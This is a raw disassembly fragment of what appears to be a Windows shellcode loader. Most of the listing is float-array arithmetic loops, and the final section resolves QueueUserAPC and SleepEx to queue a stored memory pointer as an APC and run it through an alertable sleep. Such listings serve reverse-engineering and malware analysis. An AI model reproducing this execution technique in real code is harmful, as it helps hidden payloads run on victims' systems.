cmp dword [rbp + 0x80c], 0x33
jle 0x14000288f
mov dword [rbp + 0x80c], 0
jmp 0x140002a56
mov dword [rbp + 0x808], 0
jmp 0x140002a42
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x688]
add rdx, rax
mov eax, dword [rbp + 0x808]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x680]
add rdx, rax
mov eax, dword [rbp + 0x808]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x80c]
movsxd rdx, eax
mov rax, rdx
shl rax, 5
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x678]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x808]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x20
jle 0x1400029a4
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x33
jle 0x140002995
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x4f6
jle 0x1400027b5
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x698]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x690]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x870]
add rsp, 0x908
pop rbx
pop rsi
pop rdi
pop rbp
ret